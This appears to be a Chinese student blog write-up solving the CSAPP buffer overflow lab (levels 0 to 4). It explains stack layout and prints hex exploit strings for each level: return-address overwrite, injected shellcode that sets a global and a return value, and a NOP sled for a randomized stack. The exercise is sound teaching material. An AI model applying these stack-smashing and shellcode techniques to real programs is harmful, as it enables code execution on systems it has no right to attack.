逆向工程——缓冲区溢出(CSAPP Project)
信息 = 位 + 上下文
CSAPP的开篇就明确地强调了这一点,而这次的缓冲区溢出的实验将这句话发挥到了极致。(实验文件见这里)
举个例子:菜刀可以用来切菜,也可以用来砍人。对于厨师菜刀就是切菜工具,对于罪犯就是杀人工具。这里的菜刀就是位,菜刀还是那把菜刀,但上下文(厨师、罪犯)不同了,那么信息(切菜、砍人)也就不同了。断章取义的理解一样事物必然不能看到全貌。
那么放在计算机里的解释就是:一坨01的数据,你可以把它解释成整型、浮点、字符、指令、寄存器。数据还是那些数据,就看你的上下文(解释器、解释方法、组织方法)了,不同的解释结果是南辕北辙的。
===============level 0=============
知识点:rtn addr
要想理解栈的机制,这张图是关键。可以看到Frame Pointer(%ebp)中存的是上层函数的%ebp,而其上方就是return address,即当前函数返回到上层函数的地址。这个也就解这题的关键了,也是缓冲区溢出攻击的基石。return address就像是盗梦空间的n层和n+1层的入口,万一没改好就迷失在意识边缘了。
题目简要描述如下:
首先主程序会调用test函数
1: void test()
2: {
3: int val;
4: volatile int local = 0xdeadbeef;
5: entry_check(3); /* Make sure entered this function properly */
6: val = getbuf();
7: /* Check for corrupted stack */
8: if (local != 0xdeadbeef) {
9: printf("Sabotaged!: the stack has been corrupted\n");
10: }
11: else if (val == cookie) {
12: printf("Boom!: getbuf returned 0x%x\n", val);
13: validate(3);
14: }
15: else {
16: printf("Dud: getbuf returned 0x%x\n", val);
17: }
18: }
1: int getbuf()
2: {
3: char buf[12];
4: Gets(buf);
5: return 1;
6: }
另外有一个smoke函数
1: void smoke()
2: {
3:
4: entry_check(0); /* Make sure entered this function properly */
5:
6: printf("Smoke!: You called smoke()\n");
7:
8: validate(0);
9:
10: exit(0);
11:
12: }
此函数一般情况是不会调用的,但如何去让test调用它就是要解决的问题。有了rtn addr在栈中的组织方式就能很容易的想到把smoke的地址放到getbuf的返回地址中就能调用smoke了。
通过反汇编,然后查看getbuf的代码,注意到这段:
1: lea -0x18(%ebp), %eax
2:
3: mov %eax, (%esp)
4:
5: call 80489c0<Gets>
可以看到lea把buf的指针地址(-0x18(%ebp))传给了Gets(),也就是buf距离rtn addr有0x18 + 4(%ebp的字节数)=0x1c(28)个字节的距离,于是只要在buf开始处随便填入28字节,并在rtn addr中填入smoke的地址就行了。
代码如下(相邻两个空格隔开一个字节,括号中为注释,为方便便阅读进行了换行):
1: 30 30 30 30 30 30 30 30 30 30
2: 30 30 30 30 30 30 30 30 30 30
3: 30 30 30 30
4: 30 30 30 30 ($ebp)
5: b0 8e 04 08 (rtn addr)
最后可以画出这样一个栈图:
从图中可以看到buf溢出到了rtn addr保存的地址,并改写为smoke()的地址。于是乎,getbuf()返回时就运行到了smoke()处。
===============level 1=============
知识点:函数的参数
Level1在level0的基础上需要给一个fizz的函数传参数,以此能让其运行if (val == cookie)分支。
1: void fizz(int val)
2:
3: {
4:
5: entry_check(1); /* Make sure entered this function properly */
6:
7: if (val == cookie) {
8:
9: printf("Fizz!: You called fizz(0x%x)\n", val);
10:
11: validate(1);
12:
13: } else
14:
15: printf("Misfire: You called fizz(0x%x)\n", val);
16:
17: exit(0);
18:
19: }
这里先把cookie变量中的值给找出来,这个用gdb就行了,问题在于val的值怎么给它传进去。其实,仔细想想也不难,根据函数在栈中的调用方式,第一个参数不就在0x8(%ebp)嘛,那0x8(%ebp)在哪呢?查看fizz的反汇编可以看到函数一般在最开始这样做:
1: push %ebp
2:
3: mov %esp, %ebp
也就是说,%ebp是什么不重要,重要的是%esp是什么。回想一下getbuf()返回时做了什么很有好处。它把rtn addr弹出来了,那么最后%esp就成了rtn addr所在内存的上一个地址。而当push %ebp时,%esp又压入一个,于是它又变成了rtn addr所在的地址。那么0x8(%ebp)就是rtn addr所在内存的上两个地址。得到如下的stack图:
代码应该很容易写出了。
===============level 2=============
计算机是什么?计算机就是一坨线。
Level2要求test运行后能调用bang函数,并在bang中运行if(global_value ==cookie)分支。
bang函数:
1: int global_value = 0;
2:
3: void bang(int val)
4:
5: {
6:
7: entry_check(2); /* Make sure entered this function properly */
8:
9: if (global_value == cookie) {
10:
11: printf("Bang!: You set global_value to 0x%x\n", global_value);
12:
13: validate(2);
14:
15: } else
16:
17: printf("Misfire: global_value = 0x%x\n", global_value);
18:
19: exit(0);
20:
21: }
这里的关键是要把global_value设置成cookie才行。可问题是单凭一个缓冲区怎么来设置一个全局变量。这就是信息=位+上下文的本质了,命令可以是数据,数据也可以是命令,一切就看你如何去解释了。栈里存的不一定是数据,也可以是命令。那么rtn addr返回的地址就是你输入到栈里的命令开始处,于是你看到了另一个世界,原来程序还可以这样运行。
查看cookie中的值为0x603cc5ae,而global_value在内存0x804a1c4处。由于最后要跳转到bang,所以要在代码返回时给%esp一个返回bang的返回地址。代码如下:
1: movl $0x603cc5ae, %eax
2:
3: movl %eax, 0x804a1c4
4:
5: movl $0x0xbfffb6a0, %esp
6:
7: ret
画出栈图如下:
最后输入的字符如下:
1: b8 ae c5 3c 60 (movl 0x603cc5ae, %eax)
2:
3: a3 c4 a1 04 08 (movl %eax, 0x804a1c4)
4:
5: bc a0 b6 ff bf (movl $0xbfffb6a0, %esp)
6:
7: c3 (ret) 16bytes (0xbfffb69f)
8:
9: 10 8e 04 08 (0xbfffb6a0)
10:
11: 30 30 30 30 (0xbfffb6a4)
12:
13: 30 30 30 30 (0xbfffb6a8, %ebp)
14:
15: 90 b6 ff bf (rtn addr)
其实,这关所花的功夫远不止这些。代码是很早就想出来了,但一个诡异的问题是在gdb中运行正确,在shell中运行却始终报段错误。这个问题又没办法在gdb中还原,搞得快抓狂了,穷尽了各种方法,最后通过了一个机缘巧合地发现,原来栈在程序运行时的内存地址是不固定的,所以movl $0xbfffb6a0, %esp这句是十分依赖栈运行的情况的,由于rtn addr里填入的也是栈的指令区地址,所以根本没办法得出一个通用的指令。这次debug的过程异常的枯燥,几乎用了一个晚上一个下午。结论就是:缓冲区的攻击有时是十分依赖特定的机器、特定的运行情况、特定的编译器。总之,攻击的代码不是放诸四海皆准的。(P.S.在这之后看了level4中的一句话:Stack positions also differ when running a program under GDB, since GDB uses stack space for some of its own state. 晕厥了)
===============level 3=============
这关需要运行if (val == cookie)分支,而运行此分支需要getbuf()返回值为cookie。经过了level3可以知道并不难,只要在栈中插入指令movl cookie, %eax,另外需要注意的是对于%ebp的还原问题,由于返回到test()函数时,程序会用到相对于%ebp的物理内存地址,所以在写字符串时应考虑到%ebp的原值不应覆盖。
最后的代码如下:
1: b8 ae c5 3c 60 (movl $0x603cc5ae, %eax)
2:
3: bc a0 b6 ff bf (movl $0xbfffb6a0, %esp)
4:
5: c3 (ret)
6:
7: 30 30 30 30 30 (16 bytes, 0xbfffb69f)
8:
9: b2 8d 04 08 (0xbfffb6a0)
10:
11: 30 30 30 30 (0xbfffb6a4)
12:
13: c8 b6 ff bf (0xbfffb6a8, %ebp)
14:
15: 90 b6 ff bf (rtn addr)
===============level 4=============
题目和level3要完成的大致相同,而这题的栈是会浮动的,共需执行5次。
这题最关键的一点是栈是变动的,而返回地址是一个绝对的物理地址,而我要执行攻击代码就必须知道确切的物理地址。但苦于栈地址的变动,根本无法确定出返回地址。想了各种方法:相对地址,跳转到%esp处等等。但最根本的原因是返回地址是一个绝对地址跳转,所以没有解决方案。最后,参考了http://www.cublog.cn/u3/103049/showart_2050918.html 终于释怀了。
题设中有一句是我一直忽略的:The code that calls getbufn first allocates a random amount of storage on the stack (using library function alloca) that ranges between 0 and 127 bytes.
而查看getbufn()函数:
1: int getbufn()
2:
3: {
4:
5: char buf[512];
6:
7: Gets(buf);
8:
9: return 1;
10:
11: }
可得知buf的缓冲区为512字节,127 * 2= 514,隐约可以感觉出这其中的微妙性。
不妨先做个实验,由于相同的攻击代码要执行5次,栈的地址也可能变换5次,所以对关键的%ebp寄存器进行采样,得出了三个不同的%ebp值:
根据三个%ebp的采样和“ranges between 0 and 127 bytes”这句话,可以得出高地址的%ebp极限情况(highest %ebp)和低地址%ebp的极限情况(lowest %ebp)。
再来想一想攻击代码该怎么写,其实和level3也差不多,不同的是由于每次%ebp的值可能是不同的,所以还原%ebp得想一个比较tricky的方法。这时可能会想到相对地址,于是又想到其实每次old %ebp – new %ebp = 常数。而这个常数是多少呢,gdb一下,得出0x20。但由于当我们的攻击代码运行时new %ebp的值已被覆盖,所以要另想一个办法间接地得出new %ebp。于是,想到当函数返回时,%esp = new %ebp + 8,得到:
old %ebp – (%esp – 8)= 0x20
old %ebp = %esp + 0x18
接下来的就比较好办了:
1: 8d 6c 24 18 68 (lea 0x18(%esp), %ebp)
2:
3: 42 8d 04 08 (pushl $0x8048d42,test()的返回地址)
4:
5: b8 ae c5 3c 60 (movl $0x603cc5ae, %eax)
6:
7: c3 (ret)
8:
9: 90 90 90 90 (%ebp)
10:
11: ?? ?? ?? ?? (rtn addr)
最后的问题就剩下如何设置rtn addr。由于buf有512字节,必定有许多空余字节,所以根据题干的提示,在之前插入nop是个好办法。根据getbufn()中:
1: lea -0x208(%ebp), %eax
2:
3: mov %eax, (%esp)
4:
5: call 80489c0 <Gets>
得出buf起始处距离%ebp寄存器520字节。
所以highest %ebp的buf段[0xbfffb4ef, 0xbffb6f7),
lowest %ebp的buf段[0xbfffb421, 0xbfffb629)。
取交集[0xbfffb4ef, 0xbfffb629),由于%ebp前攻击代码的字节数15字节。所以进一步缩小区间[0xbfffb4ef, 0xbfffb61a)。于是选0xbfffb529吧。
最后的代码如下:
1: 90 90 90 90 90 90 90 90 90 90
2:
3: 90 90 90 90 90 90 90 90 90 90
4:
5: ……
6:
7: (505个nop(90)指令)
8:
9: ……
10:
11: 90 90 90 90 90 90 90 90 90 90
12:
13: 8d 6c 24 18 68
14:
15: 42 8d 04 08
16:
17: b8 ae c5 3c 60
18:
19: c3
20:
21: 90 90 90 90
22:
23: 29 b5 ff bf
撒花啦!总算是完结篇了